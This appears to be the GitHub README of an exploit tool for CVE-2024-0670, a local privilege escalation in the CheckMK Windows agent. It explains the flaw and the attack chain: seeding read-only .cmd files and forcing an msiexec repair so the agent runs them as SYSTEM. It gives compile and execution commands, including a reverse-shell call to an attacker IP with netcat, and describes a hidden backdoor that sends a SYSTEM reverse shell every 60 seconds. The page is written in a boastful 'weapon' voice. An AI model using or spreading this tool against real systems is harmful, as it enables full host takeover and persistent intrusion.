Skip to content

fsoc-ghost-0x/Fsociety-CVE-2024-0670-CheckMK-LPE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Fsociety Banner

Fsociety-CVE-2024-0670-CheckMK-LPE

Native C++ Weapon | CheckMK Agent Local Privilege Escalation


Creator: C0deGhost | Version: 14.0 (Stable) | MITRE T1068

License: MIT Language Vulnerability Platform Status


Click to view Table of Contents Fsociety

β–Œ 0x01_ANALYSIS_&_VULNERABILITY_REPORT

Click to expand Fsociety Intel Report...

Executive Summary

This framework weaponizes **CVE-2024-0670**, a critical logic flaw in the CheckMK Agent for Windows. The vulnerability exists within the agent's plugin execution mechanism, specifically in how it handles temporary files within C:\Windows\Temp.

The Fsociety-CVE-2024-0670 exploit leverages a "Fail-Open" condition combined with a Race Condition to trick the NT AUTHORITY\SYSTEM service into executing arbitrary code provided by a low-privileged attacker.

Technical Deep Dive

The CheckMK Agent (running as SYSTEM) generates temporary wrapper scripts following a predictable naming convention: cmk_all_{PID}_{Counter}.cmd. It attempts to write these files to the globally writable C:\Windows\Temp directory before executing them.

The Flaw (Fail-Open): If the agent encounters a file collision (e.g., the file already exists and is Read-Only), the write operation fails. However, the agent does not abort. Instead, it proceeds to execute the existing file, assuming it was successfully created by itself.

Attack Chain (Surgical):

  1. Reconnaissance: Identify the installation path via Registry (Installer UserData).
  2. Seeding: Pre-create thousands of malicious .cmd files covering the probable PID range of the next agent execution.
  3. Locking: Apply FILE_ATTRIBUTE_READONLY to the seeded files using Native WinAPI to trigger the write failure.
  4. Trigger: Force a service restart via msiexec /fa (Repair Mode).
  5. Execution: The agent wakes up, fails to overwrite our trap, and executes our payload as SYSTEM.

We are the bug in the system.

β–Œ 0x02_MITRE_ATT&CK_MAPPING



Visual Attack Flow

graph TD;
    A["Attacker (Low Priv)"] --> B{Seeding Phase};
    B --> C[Create Malicious .cmd Files];
    C --> D[Set ReadOnly Attribute];
    D --> E{Trigger Phase};
    E --> F[Invoke msiexec /fa];
    F --> G[CheckMK Service Restarts];
    G --> H{Write Attempt};
    H -- "Fails (Access Denied)" --> I["Fail-Open Logic"];
    I --> J[Execute Existing File];
    J --> K["SYSTEM Shell"];

    %% Estilos Fsociety
    style A fill:#222,stroke:#ff0000,stroke-width:2px,color:#ff0000
    style I fill:#222,stroke:#ffff00,stroke-width:2px,color:#ffff00
    style K fill:#222,stroke:#ff0000,stroke-width:4px,color:#ff0000
Loading

β–Œ 0x03_FEATURES_&_ARSENAL

  • ⚑ Native C++ Architecture: Written in pure C++ using WinAPI. No external dependencies (Python/PowerShell) required on the target. Fast, stealthy, and lightweight.
  • 🎭 Interactive Shell Mode: Provides a pseudo-shell environment (--Shell-mode) that allows executing commands as SYSTEM repeatedly without re-running the exploit.
  • πŸ’€ Persistence Module: Built-in Install-persistence command. Deploys a hidden, self-healing backdoor in C:\ProgramData executing as SYSTEM.
  • 🧠 Smart Registry Detection: Automatically hunts for the CheckMK MSI path in Installer\UserData to trigger the repair, bypassing standard obfuscation.
  • πŸ›‘οΈ Surgical Verbose: Detailed operational logging for Red Team debugging and forensic analysis.

Give a man a gun and he'll rob a bank. Give a man knowledge and he'll rob the world.

β–Œ 0x04_USAGE_&_EXECUTION

Click to view Fsociety Operation Manual...

1. Compilation (Cross-Compile from Linux)

Use MinGW-w64 to build the static binary.

x86_64-w64-mingw32-g++ Fsociety-CVE-2024-0670.cpp -o Fsociety-CVE-2024-0670.exe -static -lws2_32

2. Deployment

Transfer Fsociety-CVE-2024-0670.exe and nc.exe to the target machine (e.g., C:\Windows\Temp).

3. Execution Modes

Mode A: Interactive Shell (Recommended)

.\Fsociety-CVE-2024-0670.exe --Shell-mode

Mode B: Direct Reverse Shell (Single Shot)

.\Fsociety-CVE-2024-0670.exe --LHOST 10.10.16.2 --LPORT 4444 --Directory-netcat C:\Windows\Temp\nc.exe

β–Œ 0x05_EXECUTION_&_EVIDENCES

Click to expand Proof of Concept Gallery...

1. The Interface (Help Menu)

Professional CLI with centered parameters and Fsociety aesthetics.

Help Menu

2. Interactive Shell Mode

Entering the Exploit-Shell environment. The framework handles the race condition in the background for every command.

Shell Mode

3. Command Execution (SYSTEM)

Executing whoami and verifying nt authority\system privileges via the exploit.

Command Execution

4. Persistence Module Installation

Using the internal Install-persistence command to deploy a permanent backdoor.

Persistence Install

Evidence #2

Persistence Install

5. Reverse Shell Connection

Catching the SYSTEM shell on the attacker machine.

Reverse Shell

Evidence #2

Persistence Install

6. Surgical Verbose Mode

Real-time analysis of the seeding process and trigger execution.

Verbose Mode


β–Œ 0x06_FRAMEWORK_OPTIONS

Click to view full Command Line Interface...

1. Global Parameters

Flag Description
--help Show the help menu and banner.
--Shell-mode Enter the interactive pseudo-shell loop. Enables internal commands.
--Command <CMD> Execute a single command as SYSTEM and exit (Non-interactive).
--LHOST <IP> Attacker IP Address (Required for Reverse Shell).
--LPORT <PORT> Attacker Port (Required for Reverse Shell).
--Directory-netcat Path to nc.exe on the target. Default: C:\Windows\Temp\nc.exe.
--Verbose Enable surgical logging (File creation, API calls, Registry scan).

2. Shell-Mode Internal Commands

Available only when inside the --Shell-mode prompt.

Command Description
Install-persistence Deploys a hidden .bat file in C:\ProgramData that executes a reverse shell every 60 seconds as SYSTEM.
Eliminate-persistence Surgically removes the backdoor file and kills the associated processes to clean tracks.
<Any Command> Executes standard Windows commands (e.g., whoami, ipconfig, type flag.txt).

β–Œ 0x07_LEGAL_DISCLAIMER

This tool is intended for educational purposes, security research, and authorized penetration testing engagements only. The author (C0deGhost) and Fsociety are not responsible for any misuse or damage caused by this program. Use this tool ethically and responsibly.
Control is an illusion.

WE ARE FSOCIETY. WE ARE FINALLY FREE. WE ARE FINALLY AWAKE.

About

Hello friend. This is the key to the kingdom. Advanced LPE exploit for CheckMK (CVE-2024-0670). Abuses insecure file handling for SYSTEM access. Includes surgical persistence module. Written in C++. They thought they were safe. They were wrong. The 5/9 revolution starts with a root shell. > We Are Fsociety_

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages